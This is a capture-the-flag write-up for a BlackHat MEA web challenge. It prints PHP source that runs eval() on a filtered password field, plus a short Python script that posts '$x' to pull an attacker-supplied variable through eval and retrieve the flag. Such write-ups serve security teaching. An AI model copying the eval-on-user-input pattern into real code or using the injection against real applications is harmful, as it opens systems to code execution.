Diefunction
Search
K

PeehPee

Difficulty

Easy

Points

150

Description

Are you able to access the secret area of Naruto ? I guess it's not that hard for you!

Quick Analysis

View the application source code via /?source endpoint
from requests import get, post
url = 'https://blackhat4-1f84feb8cf11458ef1fb78a4cfea94f8-0.chals.bh.ctf.sa'
<?php
//Show Page code source
if(isset($_GET["source"])){
highlight_file(__FILE__);
}
// Juicy PHP Part
$flag=getenv("FLAG");
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if(isset($_POST["email"])&&isset($_POST["pass"])){
if($_POST["email"]==="[email protected]"){
$x=$_POST["test"];
$inp=preg_replace("/[^A-Za-z0-9$]/","",$_POST["pass"]);
if($inp==="SuperSecRetPassw0rd"){
die("Hacking Attempt detected");
}
else{
if(eval("return \$inp=\"$inp\";")==="SuperSecRetPassw0rd"){
echo $flag;
}
else{
die("Pretty Close maybe ?");
}
}
}
}
}
?>
From the source code to obtain the flag:
  • The request method should be POST request.
  • The email parameter value must be [email protected].
  • The regex match a single character not present in a-z or A-Z or 0-9 or $ for the pass parameter.
  • The pass parameter value shouldn't equal SuperSecRetPassw0rd.
  • The eval function evaluates the pass parameter value.
  • The test parameter value is stored in the $x variable.
Since the pass parameter value is evaluated, the password SuperSecRetPassw0rd can be returned after evaluation via the test parameter $x variable.

Exploitation

data = { 'email': '[email protected]', 'test': 'SuperSecRetPassw0rd', 'pass': '$x' }
response = post(url, data = data)

The Flag

import re
html = response.text
flag = re.search('BlackHatMEA{(.*)}', html)
print(flag.group(0))
BlackHatMEA{551:17:5d19f71744009b71e8809d46d3b65876dbb5adff}